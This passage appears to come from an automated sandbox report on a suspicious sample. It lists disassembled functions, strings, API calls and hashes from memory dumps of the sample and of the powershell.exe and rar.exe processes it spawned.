Base Cursor.__init__ not called., xrefs: 00007FF8E751D244
SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu., xrefs: 00007FF8E751D265
Cannot operate on a closed cursor., xrefs: 00007FF8E7517AF5
Recursive use of cursors not allowed., xrefs: 00007FF8E751D2BA

Memory Dump Source

Source File: 00000002.00000002.1773292284.00007FF8E7511000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FF8E7510000, based on PE: true

Associated: 00000002.00000002.1773243251.00007FF8E7510000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E7528000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E752E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773423131.00007FF8E7530000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773459694.00007FF8E7532000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7510000_SecuriteInfo.jbxd

Similarity

API ID: 00007
String ID: Base Connection.__init__ not called.$Base Cursor.__init__ not called.$Cannot operate on a closed cursor.$Cannot operate on a closed database.$Recursive use of cursors not allowed.$SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu.
API String ID: 3568877910-2922342969
Opcode ID: b2c2694dadf35b8f66a47485a1d86f397de167e51834a5e6fdf4c519bbf6613e
Instruction ID: 1d8eeb3bc23b3276f72b4791b3b6b55e21bb410bdd07c03c94d42a611eded37c
Opcode Fuzzy Hash: b2c2694dadf35b8f66a47485a1d86f397de167e51834a5e6fdf4c519bbf6613e
Instruction Fuzzy Hash: E0910632A09E4281EB548FA9DC5437C67A0FB85BD7F240835CA2E476A4DF3DE985C342

Function 00007FF8E7518FD0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

Cannot operate on a closed database., xrefs: 00007FF8E7519173
Base Connection.__init__ not called., xrefs: 00007FF8E751910C
SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu., xrefs: 00007FF8E75191B1
factory must return a cursor, not %.100s, xrefs: 00007FF8E75190C3

Memory Dump Source

Source File: 00000002.00000002.1773292284.00007FF8E7511000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FF8E7510000, based on PE: true

Associated: 00000002.00000002.1773243251.00007FF8E7510000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E7528000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E752E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773423131.00007FF8E7530000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773459694.00007FF8E7532000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7510000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: Base Connection.__init__ not called.$Cannot operate on a closed database.$SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu.$factory must return a cursor, not %.100s
API String ID: 0-2953218143
Opcode ID: 25cc7f2b8a872ceb47122164e428b0963f60e66b2714bfe679bedf1994e22dde
Instruction ID: 3399b5a6eabd1dbb630675074220f773c9d165406869e547b934932b76ca8552
Opcode Fuzzy Hash: 25cc7f2b8a872ceb47122164e428b0963f60e66b2714bfe679bedf1994e22dde
Instruction Fuzzy Hash: 4F713436A09E83C6EA549FA6DC8423C63A0FB45FD6B244431CE2E03794DF3DE8858342

Function 00007FF8E754FB28 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

00007FF8E7637A5C.PYTHON311 ref: 00007FF8E754FB35

Strings

dist, xrefs: 00007FF8E75556EE
Invalid filter ID: %llu, xrefs: 00007FF8E755569F
dict_size, xrefs: 00007FF8E754FC20
start_offset, xrefs: 00007FF8E75556DB

Memory Dump Source

Source File: 00000002.00000002.1773557891.00007FF8E7541000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF8E7540000, based on PE: true

Associated: 00000002.00000002.1773494525.00007FF8E7540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1773557891.00007FF8E755C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1773557891.00007FF8E7564000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1773557891.00007FF8E7569000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1773687913.00007FF8E756A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1773719902.00007FF8E756C000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7540000_SecuriteInfo.jbxd

Similarity

API ID: 00007E7637
String ID: Invalid filter ID: %llu$dict_size$dist$start_offset
API String ID: 4629914-3368833446
Opcode ID: 70732c878d185871e83d032ed88e66c35bf329b642db62c29c46d98ad4e53224
Instruction ID: 13cdc2c312b28bb2979b4f28c0489e14533a165d0ce36e9a95eb74fe88f0c488
Opcode Fuzzy Hash: 70732c878d185871e83d032ed88e66c35bf329b642db62c29c46d98ad4e53224
Instruction Fuzzy Hash: 6E41F131A08EC381EA648B99ED4427C23A1BF057D4B185631CA3E476E0EF3DF4A59703

Function 00007FF8E75175B0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

00007FF8E73C6B10.SQLITE3 ref: 00007FF8E7517663

Strings

COMMIT, xrefs: 00007FF8E7517715
query string is too large, xrefs: 00007FF8E75176E4

Memory Dump Source

Source File: 00000002.00000002.1773292284.00007FF8E7511000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FF8E7510000, based on PE: true

Associated: 00000002.00000002.1773243251.00007FF8E7510000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E7528000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773292284.00007FF8E752E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773423131.00007FF8E7530000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.1773459694.00007FF8E7532000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7510000_SecuriteInfo.jbxd

Similarity

API ID: 00007
String ID: COMMIT$query string is too large
API String ID: 3568877910-2709575789
Opcode ID: 35e193ac2c27ee0a438aa9099ef1b5c24edca56c53d06f0d483d03152d3b0d49
Instruction ID: d8a0c37c0e5947927b54a5dbff25c4b637d0b0b30cc6c2c495d546349a2620a0
Opcode Fuzzy Hash: 35e193ac2c27ee0a438aa9099ef1b5c24edca56c53d06f0d483d03152d3b0d49
Instruction Fuzzy Hash: 10418262A18E8386EB009B6AEC4436D63A0FB88FD6F250935DE6D47764DF3CD446C701

Analysis Process: powershell.exePID: 7840, Parent PID: 7716COMMON

Executed Functions

Function 00007FF886B63027 Relevance: 1.0, Instructions: 978COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1568092867.00007FF886B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886b60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d44be64a142c6ea01ed3a135aa2af10db9fe74c9987c6fbde355cd1f4667f755
Instruction ID: f6d2175e42e7edf3819c0a9a9b62a13caa299b6af7e4edc754d31c512fdafcfd
Opcode Fuzzy Hash: d44be64a142c6ea01ed3a135aa2af10db9fe74c9987c6fbde355cd1f4667f755
Instruction Fuzzy Hash: 9B524822E0DB894FE396976C58656B07BE1FF96668B0911FBC04DC71D3DD19AC0AC382

Function 00007FF88697E620 Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

xrw, xrefs: 00007FF88697E693

Memory Dump Source

Source File: 00000009.00000002.1565732494.00007FF88697D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF88697D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff88697d000_powershell.jbxd

Similarity

API ID:
String ID: xrw
API String ID: 0-1467674462
Opcode ID: 2ee2c04fceb4678cdf62b5a927adab4f6d20401011597e3d4edd18b41d6cf06a
Instruction ID: f6da1b7dcc59fee5b09cdfa05bc5b15dec080d04595c3bea7f9018fb903c209a
Opcode Fuzzy Hash: 2ee2c04fceb4678cdf62b5a927adab4f6d20401011597e3d4edd18b41d6cf06a
Instruction Fuzzy Hash: 4041E27180DBC44FE7569B29AC499523FF0FF56260B1505EFD088CB1A3D625AC4AC7A2

Function 00007FF886A9A1F3 Relevance: .4, Instructions: 415COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1567032813.00007FF886A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886a90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43a25550f4790b8daafb421de24780d817db49343e96db25b3c947fb2f93c63a
Instruction ID: c42b64c3cee67936ac7dc550025de145701cabea20ff63808354eba81683bf4c
Opcode Fuzzy Hash: 43a25550f4790b8daafb421de24780d817db49343e96db25b3c947fb2f93c63a
Instruction Fuzzy Hash: 821146A580E7C88FD7438B345C651907FB0EE67240B1A00EBD599CF1B3E9285D09C7A2

Function 00007FF886B634A6 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1568092867.00007FF886B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886b60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f081930938a2a72a0fddc5be5ab5a600e29b92c5afdda89991e7bbebd893849a
Instruction ID: c689271cbf4bfb001187a7c4921e79efc8c0d8cfc33b34a31d0576aadf16c8e7
Opcode Fuzzy Hash: f081930938a2a72a0fddc5be5ab5a600e29b92c5afdda89991e7bbebd893849a
Instruction Fuzzy Hash: 07710561D0DBCA4FE3A69A2C58555717BE1FF96798B0912FBC04CCB293DD19AC0AC342

Function 00007FF886A99870 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1567032813.00007FF886A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886a90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e33df761e2510ceb3a5566eaeeaebbf5aa400357123dcf533b4a7317277506c2
Instruction ID: 1c8771e6498c310f318bb4f40ca1568c6e16646532e2b16b688392fd67176393
Opcode Fuzzy Hash: e33df761e2510ceb3a5566eaeeaebbf5aa400357123dcf533b4a7317277506c2
Instruction Fuzzy Hash: 3741FB3191CB888FDB1C9B5CAC066F97BE0FB59711F04416FE459D3252DA60AC55CBC2

Function 00007FF886A9A8EC Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1567032813.00007FF886A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886a90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00d59b938f6b5406dd42ed6de130c1e623fecd0b0748a2793e9ebd6495de6ac5
Instruction ID: d8afd131992ffce4037c391cf1d61fc22f3a3fd082ada76e0aafc42040472983
Opcode Fuzzy Hash: 00d59b938f6b5406dd42ed6de130c1e623fecd0b0748a2793e9ebd6495de6ac5
Instruction Fuzzy Hash: 1431267190CB8C8FDB59DB68984A6E97FE0EBA6320F04416FD059C7193DA645C06CB92

Function 00007FF886A9A8C6 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1567032813.00007FF886A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886a90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70f976536713f32d1e5d51852589fed7ba758c9fe94e07d1a5afcb6aec078fd9
Instruction ID: 495de667de6a3417a6be0caae08b088a90dcd593b681e59e81faebfff9eccd02
Opcode Fuzzy Hash: 70f976536713f32d1e5d51852589fed7ba758c9fe94e07d1a5afcb6aec078fd9
Instruction Fuzzy Hash: 9721F53190CA8C8FEB58DB58984A7F97BE0EB95320F04416FD04DC7152D6249816CB82

Function 00007FF886B66A0E Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1568092867.00007FF886B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886b60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d0fab8fd86e3885c3eb12336b6016ffb9c360f5a4c31df689d476e39ee311c6
Instruction ID: 786ed2bf715cd537910af6e890515aa9658ef880f9c55b8ed6b6b0e16e96f545
Opcode Fuzzy Hash: 3d0fab8fd86e3885c3eb12336b6016ffb9c360f5a4c31df689d476e39ee311c6
Instruction Fuzzy Hash: 2C112532E0D6898FE755DB9890906B87BE1FF49358F1841BEC04ED7183EA28AC05C352

Function 00007FF886A933B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1567032813.00007FF886A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886a90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 416d78af615282d572b3a414326c95b602a4a0825e38525b723d7405b764b34a
Instruction ID: 15a7cca56222728b8e08f6c3a04cae867539d58593e020daa03eaad3825491ac
Opcode Fuzzy Hash: 416d78af615282d572b3a414326c95b602a4a0825e38525b723d7405b764b34a
Instruction Fuzzy Hash: 8901677115CB0C8FD744EF0CE451AA6B7E0FB95364F10056DE58AC3651DB36E882CB46

Function 00007FF886B6432D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1568092867.00007FF886B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886b60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5aa9a59cf23d9b72d11795ff97779c3fe517e954e06c9db0c98be7917355dfd0
Instruction ID: 45e03d5ef35a9c7ab944477ac90b3529c22abaf0ef818d24fdaba2016320eae5
Opcode Fuzzy Hash: 5aa9a59cf23d9b72d11795ff97779c3fe517e954e06c9db0c98be7917355dfd0
Instruction Fuzzy Hash: 36F0BE32A0C9458FE668EA4CE4414E873E0FF49334B1540BAE10DC71A3CB29FC45C741

Function 00007FF886B645E0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1568092867.00007FF886B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff886b60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 064a8afc7f1db6f7aef213b37023d68a1e6cb4f55a6f8d3a1e697cba34a8865a
Instruction ID: ccc46ea1742961e368c40fbcdef73ff0725220ab0f00be94d42dae7f475f885d
Opcode Fuzzy Hash: 064a8afc7f1db6f7aef213b37023d68a1e6cb4f55a6f8d3a1e697cba34a8865a
Instruction Fuzzy Hash: ECF05832A0D9448FEB98EA5CE4419E877E0FF06364B1540F6E109CB1A3DB2AAC48C781

Analysis Process: powershell.exePID: 8788, Parent PID: 8424COMMON

Executed Functions

Function 00007FF886AB4DC5 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1623539785.00007FF886AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_7ff886ab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27ed7bebd3746532e288c3d94708ac522ff752c67de9253ed378b4d84249780f
Instruction ID: 5c3c7afe714a0839a22c617f3eba7e1599d03a61477a083aff16df57a1f41a9e
Opcode Fuzzy Hash: 27ed7bebd3746532e288c3d94708ac522ff752c67de9253ed378b4d84249780f
Instruction Fuzzy Hash: 9F71C130E09A598FDB55EBACD8966ECBBF1FF4A710F1441AED04DD7292CA256C02CB41

Function 00007FF886B81863 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1624259228.00007FF886B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_7ff886b80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81dd04935e34dd35e11f850fa6467e5550741c328f38e777a9d331f5a3d05204
Instruction ID: defc7a30f54d341730fa9256d007c2025cb308bf25dfb048479fe6effed4ae0e
Opcode Fuzzy Hash: 81dd04935e34dd35e11f850fa6467e5550741c328f38e777a9d331f5a3d05204
Instruction Fuzzy Hash: 48410822B2DE0B4FE7A99A5C64516B973D2FF852A4F08017BC00EC7187EE18AC16C281

Function 00007FF886B81AEE Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1624259228.00007FF886B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_7ff886b80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07d02053fea609acf89261f7f159d0cb975c311f82c55e93bd53798216769de2
Instruction ID: d1882cc202b73303c810692b6c258ae20bffefb27fd7c4f0b84ab1a4d0d36e22
Opcode Fuzzy Hash: 07d02053fea609acf89261f7f159d0cb975c311f82c55e93bd53798216769de2
Instruction Fuzzy Hash: 5841B631E2E95A4FEBB99A6C54516F973D2FF447D4B5801BAC00EC7286FE18AC11C382

Function 00007FF886AB3945 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002D.00000002.1623539785.00007FF886AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_7ff886ab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a73a21c3248a198af1e89a2b13eb8794bbde26503cfb4fc4cfb7fcdcadaf0afc
Instruction ID: dd9f7eb0577aa014d3bba51f393b604e51db529caeb4dd50848408c206dbb056
Opcode Fuzzy Hash: a73a21c3248a198af1e89a2b13eb8794bbde26503cfb4fc4cfb7fcdcadaf0afc
Instruction Fuzzy Hash: 9701677115CB0C4FD744EF0CE451AA5B7E0FB95364F10056DE58AC3651DB36E881CB46

Non-executed Functions

Function 00007FF886AB02AD Relevance: 5.2, Strings: 4, Instructions: 227COMMON

Download Yara Rule

Strings

@z<, xrefs: 00007FF886AB03A9
dZ, xrefs: 00007FF886AB0399
PM., xrefs: 00007FF886AB03B9
^, xrefs: 00007FF886AB04CC

Memory Dump Source

Source File: 0000002D.00000002.1623539785.00007FF886AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_7ff886ab0000_powershell.jbxd

Similarity

API ID:
String ID: dZ$@z<$PM.$^
API String ID: 0-922983480
Opcode ID: 1e5f68f7517273994ffd7aa13481cbf54e3c2e9914abf56f4ca37fff9174ce63
Instruction ID: 584bd438b1a6393c410d150073e55a1a2bb1eb0b77f90eaa14a653284c60349a
Opcode Fuzzy Hash: 1e5f68f7517273994ffd7aa13481cbf54e3c2e9914abf56f4ca37fff9174ce63
Instruction Fuzzy Hash: F261D752D0E9D15BF2664568385A2B9AFA0FF527A4F9C40FBC18C6B0DFEC45DC198381

Analysis Process: rar.exePID: 8296, Parent PID: 4536COMMON

Execution Graph

Execution Coverage:	7.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.5%
Total number of Nodes:	1244
Total number of Limit Nodes:	37

Executed Functions

Function 00007FF71D2C54C0 Relevance: 36.3, APIs: 4, Strings: 16, Instructions: 1336COMMON

Download Yara Rule

Strings

VER, xrefs: 00007FF71D2C5EBA
*?., xrefs: 00007FF71D2C598C
default.sfx, xrefs: 00007FF71D2C60F4
stdin, xrefs: 00007FF71D2C672D
+, xrefs: 00007FF71D2C6535
EML, xrefs: 00007FF71D2C5D6B
NUL, xrefs: 00007FF71D2C5DB3
rar.log, xrefs: 00007FF71D2C5CE5
stdin, xrefs: 00007FF71D2C6236
LOG, xrefs: 00007FF71D2C5CD0
SFX, xrefs: 00007FF71D2C60CC
ERR, xrefs: 00007FF71D2C5D40
*.%ls, xrefs: 00007FF71D2C59AF
7z;ace;arj;bz2;cab;gz;jpeg;jpg;lha;lz;lzh;mp3;rar;taz;tgz;xz;z;zip;zipx, xrefs: 00007FF71D2C5935
OFF, xrefs: 00007FF71D2C5E4B
SND, xrefs: 00007FF71D2C5D11

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID:
String ID: *.%ls$*?.$+$7z;ace;arj;bz2;cab;gz;jpeg;jpg;lha;lz;lzh;mp3;rar;taz;tgz;xz;z;zip;zipx$EML$ERR$LOG$NUL$OFF$SFX$SND$VER$default.sfx$rar.log$stdin$stdin
API String ID: 0-1628410872
Opcode ID: b9d6aeb0518eca3664f40ad1619fad4736c7e1389d4ca9ce6415b1a8c264bdf8
Instruction ID: ec20bcf4e63f26e22b1655b69dd3441846af403096a98eb0ab2caa77f73b0000
Opcode Fuzzy Hash: b9d6aeb0518eca3664f40ad1619fad4736c7e1389d4ca9ce6415b1a8c264bdf8
Instruction Fuzzy Hash: D9C2D43292C98281EA34BB2481442BDB691AF057B5FD84535CA2E472E5FE6DFD4CCB70

Function 00007FF71D2B1884 Relevance: 24.1, APIs: 5, Strings: 8, Instructions: 1374COMMON

Download Yara Rule

Strings

exe, xrefs: 00007FF71D2B1897
sfx, xrefs: 00007FF71D2B1884
,6, xrefs: 00007FF71D2B2F83
BK, xrefs: 00007FF71D2B19C5
rar, xrefs: 00007FF71D2B18AA
.ext, xrefs: 00007FF71D2B18C0
%s%s , xrefs: 00007FF71D2B2A46
q:, xrefs: 00007FF71D2B19DA

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID:
String ID: %s%s $.ext$exe$rar$sfx$,6$BK$q:
API String ID: 0-1660254149
Opcode ID: eefc6d35d2847cea84a00b3f56c99ccad538a181ac11d2ce23a6cc3b2c6d100e
Instruction ID: 137886874a5a7ae508126f286a65984c19f8d22f35b54bcdcb8d7b1933d33440
Opcode Fuzzy Hash: eefc6d35d2847cea84a00b3f56c99ccad538a181ac11d2ce23a6cc3b2c6d100e
Instruction Fuzzy Hash: 6FE2C422A0CFC285EB20EF25C4801FDA7A1FB497A8F954135CA6D07796EF79D648CB10

Function 00007FF71D2F48CC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF71D2F4AE0: FreeLibrary.KERNEL32(?,?,00000000,00007FF71D2CCC90), ref: 00007FF71D2F4AF5

GetModuleFileNameW.KERNEL32(?,?,?,00007FF71D2E7E7D), ref: 00007FF71D2F492E
GetVersionExW.KERNEL32(?,?,?,00007FF71D2E7E7D), ref: 00007FF71D2F496A
LoadLibraryW.KERNELBASE(?,?,?,00007FF71D2E7E7D), ref: 00007FF71D2F4993
LoadLibraryW.KERNEL32(?,?,?,00007FF71D2E7E7D), ref: 00007FF71D2F499F

Strings

rarlng.dll, xrefs: 00007FF71D2F493A

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: Library$Load$FileFreeModuleNameVersion
String ID: rarlng.dll
API String ID: 2520153904-1675521814
Opcode ID: 4ea004210bc8b62a292722e0c73661c8a5f08de7266e224b8a6e63eb6450ac69
Instruction ID: ac9aa15f36a4bfd6214fca2125c213b331d12d8e225002cbf635e0cc702a9570
Opcode Fuzzy Hash: 4ea004210bc8b62a292722e0c73661c8a5f08de7266e224b8a6e63eb6450ac69
Instruction Fuzzy Hash: AA314F31A1CE42C5FB64AB21E8412E9E364BB45798FC04439E94D42698EF7CE54ECF20

Function 00007FF71D2D46EC Relevance: 7.6, APIs: 5, Instructions: 99
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,00000000,?,?,00007FF71D2D4620,?,00000000,?,00007FF71D2F7A8C), ref: 00007FF71D2D4736
FindFirstFileW.KERNEL32(?,00000000,?,?,00007FF71D2D4620,?,00000000,?,00007FF71D2F7A8C), ref: 00007FF71D2D476B
GetLastError.KERNEL32(?,00000000,?,?,00007FF71D2D4620,?,00000000,?,00007FF71D2F7A8C), ref: 00007FF71D2D477A
